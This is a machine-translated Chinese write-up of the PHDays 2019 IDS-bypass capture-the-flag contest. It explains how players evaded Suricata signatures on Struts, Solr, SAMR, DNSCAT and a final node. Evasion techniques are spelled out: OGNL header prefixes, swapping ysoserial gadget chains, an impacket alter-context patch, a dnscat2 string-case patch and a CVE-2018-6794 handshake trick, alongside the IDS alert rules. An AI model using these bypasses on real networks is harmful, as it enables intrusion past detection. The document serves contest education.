第9天积极黑客天的IDS绕过竞赛分析

积极的黑客日2019国际论坛举办了首届IDS绕过竞赛。 参与者必须检查由五个节点组成的网段,然后利用该服务的漏洞或满足指定的条件(例如,发送特定的HTTP响应),然后获得该标志。 查找漏洞很容易,但是IDS使任务复杂化:系统位于参与者和节点之间,并检查每个网络数据包。 攻击者在仪表板上看到签名是否阻止了他们的连接。 下面,我将详细介绍任务本身并分析其解决方案。



100.64.0.11-支撑杆


在完成任务的人数中,第一个节点是Struts。 扫描Nmap端口后,我们在端口8080上找到了Apache Struts服务。

# nmap -Pn -sV -p1-10000 100.64.0.11 631/tcp open ipp CUPS 2.1 8005/tcp open mxi? 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 



Apache Struts的漏洞在2017年消失了:使用OGNL注入,攻击者可以在未经授权的情况下在Struts上执行任何代码。 例如,在GitHub上有一个漏洞利用,但是IDS被捕获:

[Drop] [**] [1:1001:1] Apache Struts2 OGNL inj in header (CVE-2017-5638) [**]

参与者无法使用签名代码本身,但是从日志中的消息中,您可以了解其操作机制。 在这种情况下,签名在HTTP中检测到OGNL注入:

 GET /showcase.action HTTP/1.1 Accept-Encoding: identity Host: 100.64.0.11:8080 Content-Type: %{(#_='multipart/form-data')... 

如果我们检查IDS的行为,很明显它会在Content-Type标头的开头捕获%{ 有几种解决方案:

  1. 参与者@empty_jack试图破坏字符%{与他自己的模糊字典的组合,因此提出了Content-Type:%$ {行的解决方案。
  2. 模糊HTTP请求本身。 成员@ c00lhax0r发现标头开头的空字符也将绕过IDS:Content-Type:\ 0 $ {。
  3. CVE-2017-5638的大多数漏洞利用符号进行注入。 但是一些对此漏洞和以前的Apache Struts漏洞的研究人员写道 ,注入可以以%和$开头。 因此,$ {的组合将绕过IDS签名并在系统上执行代码。 最初构思了这样的决定。

这项任务是最简单的,由八名参与者决定。

100.64.0.10-Solr


在端口8983上是用Java编写的Apache Solr服务器。

 $ nmap -Pn -sV -p1-10000 100.64.0.10 22/tcp open ssh (protocol 2.0) 8983/tcp open http Jetty 



容易找到Apache Solr 5.3.0的漏洞-CVE-2019-0192 。 攻击者可以欺骗集合中RMI服务器的地址。 操作需要使用ysoserial框架,该框架会生成Java对象(小工具)链并以各种方式交付它们。 例如,从JRMP服务器。

当然,使用额头中的额头漏洞,参与者将看到IDS签名触发:

[Drop] [**] [1:10002700:3001] ATTACK [PTsecurity] Java Object Deserialization RCE POP Chain (ysoserial Jdk7u21) [**]

Jdk7u21只是三十个负载之一,其选择取决于易受攻击的服务中使用的库。 Jdk7u21小工具链仅使用Java Development Kit版本7u21中的标准类,而CommonsCollections1链则包含来自广泛使用的Apache Common Collections 3.1的类。

攻击者用自己的替换了Solr集合中RMI服务器的地址,然后启动了JRMP服务器。 Solr在地址处请求对象,并接收恶意Java对象。 反序列化后,代码在服务器上执行。

签名在序列化的Java对象中的一系列类上触发。 它是从攻击者的计算机传输的,并且流量开始如下:



解决这个问题的方法很简单。 签名明确引用Jdk7u21。 要解决这个问题,您必须尝试其他连锁小工具。 例如,CommonsCollections之一。 IDS中没有其他链的签名。 参与者将在系统上收到一个shell并读取该标志。 五名参与者完成了任务。

100.64.0.12-SAMR


比赛中最困难和最有趣的任务之一。 这是具有打开的第445端口的Windows计算机。 该标志分为系统的两个用户的名称,要完成任务,必须获取Windows节点上所有用户的列表。

当然,MS17-010和其他漏洞利用程序在此计算机上不起作用。 枚举用户可以使用例如Nmapimpacket框架中的脚本:

 $ python samrdump.py 100.64.0.12 Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] Retrieving endpoint list from 100.64.0.12 [*] Trying protocol 445/SMB… Found domain(s): . SAMR . Builtin [*] Looking up users in domain SAMR [-] The NETBIOS connection with the remote host timed out. [*] No entries received. 

两种情况都在端口445上向计算机发出DCERPC请求。 但是,并非所有事情都那么简单:某些数据包被IDS阻止,这一次触发了两个签名:

[**] [1:2001:2] SAMR DCERPC Bind [**]
[Drop] [**] [1:2002:2] SAMR EnumDomainUsers Request [**]

第一个检测到与SAMR服务的连接,并仅使用标志标记TCP连接。 第二个是由对SAMR服务的EnumDomainUsers请求触发的。 此服务还有其他获取用户的方法:QueryDisplayInfo,QueryDisplayInfo2,QueryDisplayInfo3。 所有这些都还被签名阻止。

DCERPC协议和Windows服务为远程站点管理提供了巨大的机会。 大多数知名工具(例如PsExec或BloodHound)都使用此协议。 SAMR服务(即SAM远程协议)使您可以使用主机上的帐户,包括用户列表。

要请求EnumDomainUsers Impacket,请执行以下操作:



通过SMB建立了与SAMR服务的DCERPC连接,所有其他请求都在该服务的上下文中进行。 签名适用于屏幕截图中的第一个和最后一个数据包。

我为这项作业提供了两个线索:

  • 您的尝试导致IDS生成2条警报。 仔细看看第一个。
  • 您知道该协议的哪些连接命令?

关于DCERPC协议以及如何建立连接。 在可用的PDU列表中,Bind和Alter Context命令负责连接和更改上下文,第二个命令允许在不断开连接的情况下更改当前上下文。

为了解决这个问题,有必要重写samrdump脚本的逻辑:

  1. 绑定到另一个服务,例如使用UUID 3919286a-b10c-11d0-9ba8-00c04fd92ef5。
  2. 使用“更改上下文”切换到SAMR。
  3. 发送请求到EnumDomainUsers。

更改分为三行:

 < dce.bind(samr.MSRPC_UUID_SAMR) --- > dce.bind(uuid.uuidtup_to_bin(("3919286a-b10c-11d0-9ba8-00c04fd92ef5", "0.0"))) > dce.alter_ctx(samr.MSRPC_UUID_SAMR) > dce._ctx = 1 

竞赛的获胜者@ psih1337提出了一种替代解决方案。 EnumDomainUsers查询返回的用户列表不是按名称而是按SID(安全ID)。 SID不是随机数。 例如,LocalSystem帐户的SID为S-1-5-18,对于手动创建的用户,该帐户的开头为1000。

因此,手动将种子分类为1000到2000,很可能会在系统中找到所需的帐户。 它们在sid 1008和1009下被发现。

解决此任务的方法需要了解DCERPC协议和研究Windows基础结构的经验。 @ psih1337是唯一决定它的人。

100.64.0.13-DNSCAT


在端口80上有一个带有IP地址表格的网页。



如果指定IP,则UDP到达端口53:

 17:40:45.501553 IP 100.64.0.13.38730 > 100.64.0.187: 61936+ CNAME? dnscat.d2bc039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173) 17:40:45.501639 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209 17:40:46.520457 IP 100.64.0.13.38730 > 100.64.0.187: 21842+ TXT? dnscat.7f4e039ce800000000d6eae8eae3bf81fd84d1695f5888aba8dcec06d071.a73b3f0561ca4906d268214f4b70da1bdb50f75739ae0577139096732bf8.0d0a987ce23408bac15426a22e. (173) 17:40:46.520546 IP 100.64.0.187 > 100.64.0.13: ICMP 100.64.0.187 udp port domain unreachable, length 209 


显然,这是DNSCAT,这是用于DNS隧道的工具。 在以表格形式指定IP地址之后,DNSCAT客户端尝试建立与其的连接。 如果成功,则服务器(即参与者)将在竞争计算机上收到外壳程序并拔出标志。

当然,如果仅举起DNSCAT服务器并尝试接受连接,则将失败:

[Drop] [**] [1:4001:1] 'dnscat' string found in DNS response [**]

IDS签名是在来自我们服务器的流量中的dnscat线上触发的-消息中明确说明了这一点。 混淆或加密流量也不起作用。

查看客户端代码,我们发现其中的检查不够严格。 也就是说,dnscat行可能根本不会出现在响应中! 它仍然只是将其从代码中删除或立即用NetSED实用程序进行替换。 立即更换要容易得多,但是我仍然会为服务器代码提供一个补丁:

 diff -r dnscat2/server/libs/dnser.rb dnscat2_bypass/server/libs/dnser.rb < segments << unpack("a#{len}") > segments << [unpack("a#{len}")[0].upcase] < name.split(/\./).each do |segment| > name.upcase.split(/\./).each do |segment| diff -r dnscat2/server/tunnel_drivers/driver_dns.rb dnscat2_bypass/server/tunnel_drivers/driver_dns.rb < response = (response == "" ? "dnscat" : ("dnscat." + response)) > response = (response == "" ? "dnsCat" : ("dnsCat." + response)) 

比赛中有五种解决方案。

100.64.0.14-发布


任何人都没有收到来自比赛车辆的旗帜。



我们看到了一个熟悉的带有IP地址的表格。 有人为我们提供了参与测试新恶意软件的机会。 它的创新之一是以未知的方式绕过了IDS。 对于该标志,您只需向其发送HTTP标头“ Server:ng1nx”作为响应。 会很热。

不出所料:我们向IP发送了GET请求,并发送了IDS阻止的响应。

[Drop] [**] [1:5002:1] 'ng1nx' Server header found. Malware shall not pass [**]

有一个提示:

有时,看起来很难的任务是最简单的。 如果似乎没有什么脆弱的地方,也许是您的鼻子下面缺少一些东西?

IDS是我们眼前的脆弱之处。 在响应页面上,您可以找到一个开放的Suricata IDS。



查询“ Suricata IDS旁路”上的第一个链接指向CVE-2018-6794 。 如果违反了TCP通信的正常过程(TCP握手),并且在处理完成之前发送了数据,此漏洞将绕过数据包检查。 看起来像这样:

 Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # 1/2 Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # 2/2 Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # Data here Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # 3/2 Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server 

下载漏洞利用程序,将行更改为“ ng1nx”,关闭内核RST软件包并运行。

如前所述,尽管有几位参与者接近解决方案,但没人从这台机器上收到标志。

结论


共有49位选手报名参加比赛,其中12位至少获得了一面旗帜。 有趣的是,竞争性任务可以同时具有多个解决方案,尤其是使用SMB和DCERPC协议的任务。 也许您对完成某些任务有自己的想法?

奖品:

  • 第一名:@ psih1337
  • 第二名:@ webr0ck
  • 第三名:@empty_jack

签名响应统计:



感谢所有参与者! 明年将有更多不同难度级别的任务。

正面技术作者Kirill Shipulin 发表

Source: https://habr.com/ru/post/zh-CN457932/


All Articles